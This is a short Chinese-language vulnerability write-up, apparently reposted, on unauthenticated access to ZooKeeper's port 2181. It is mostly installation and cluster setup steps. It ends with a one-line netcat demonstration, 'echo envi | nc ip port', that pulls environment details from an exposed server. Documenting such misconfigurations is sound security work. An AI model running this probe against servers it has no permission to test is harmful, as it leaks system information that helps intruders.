Zookeeper未授權訪問


 

l 漏洞名稱:

zookeeper未授權訪問

l  漏洞影響版本:

zookeeper

l  漏洞細節:

ZooKeeper是一個分布式的,開放源碼的分布式應用程序協調服務,是Google的Chubby一個開源的實現,是Hadoop和Hbase的重要組件。b它是一個為分布式應用提供一致性服務的軟件,提供的功能包括:配置維護、域名服務、分布式同步、組服務等。

ZooKeeper默認開啟在2181端口,在未進行任何訪問控制情況下,攻擊者可通過執行envi命令獲得系統大量的敏感信息,包括系統名稱、Java環境。

l Zookeeper安裝:

1. 安裝

#wget http://www.apache.org/dist//zookeeper/zookeeper-3.3.6/zookeeper-3.3.6.tar.gz

#tar zxvf zookeeper-3.3.6.tar.gz

#mv zookeeper-3.3.6 /usr/local/zookeeper-3.3.6-2181

#cd /usr/local/zookeeper-3.3.6-2181

#cp conf/zoo_sample.cfg conf/zoo.cfg

新建文件夾

#mkdir -p /usr/local/zookeeper-3.3.6-2181/data

#mkdir -p /usr/local/zookeeper-3.3.6-2181/log

2.  集群配置

#vim conf/zoo.cfg

# The number of milliseconds of each tick

tickTime=2000

# The number of ticks that the initial

# synchronization phase can take

initLimit=10

# The number of ticks that can pass between

# sending a request and getting an acknowledgement

syncLimit=5

# the directory where the snapshot is stored.

dataDir=/usr/local/zookeeper-3.3.6-2181/data

dataLogDir=/usr/local/zookeeper-3.3.6-2181/log

# the port at which the clients will connect

clientPort=2181

#server.A=B:C:D:其中 A 是一個數字,表示這個是第幾號服務器;B 是這個服務器的 ip 地址;C 表示的是這個服務器與集群中的 Leader 服務器交換信息的端口;D 表示的是萬一集群中的 #Leader 服務器掛了,需要一個端口來重新進行選舉,選出一個新的 Leader,而這個端口就是用來執行選舉時服務器相互通信的端口。如果是偽集群的配置方式,由於 B 都是一樣,所以不同的 #Zookeeper 實例通信端口號不能一樣,所以要給它們分配不同的端口號。

server.1=192.168.124.214:2287:3387

server.2=192.168.124.215:2288:33883

3.增加myid文件

並在data目錄下放置myid文件:(上面zoo.cfg中的dataDir)

#mkdir data

#vim myid

myid指明自己的id,對應上面zoo.cfg中server.后的數字,第一台的內容為1,第二台的內容為2,內容如下:

1

4. 啟動

#./bin/zkServer.sh start

Server啟動之后就可以啟動client連接server執行腳本:

#./bin/zkCli.sh -server ip:2181  

5. 停止

#./bin/zkServer.sh stop

l  漏洞演示:

執行以下命令即可遠程獲取該服務器的環境

echo envi | nc ip port

 

安裝nc:

#yum install nc

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM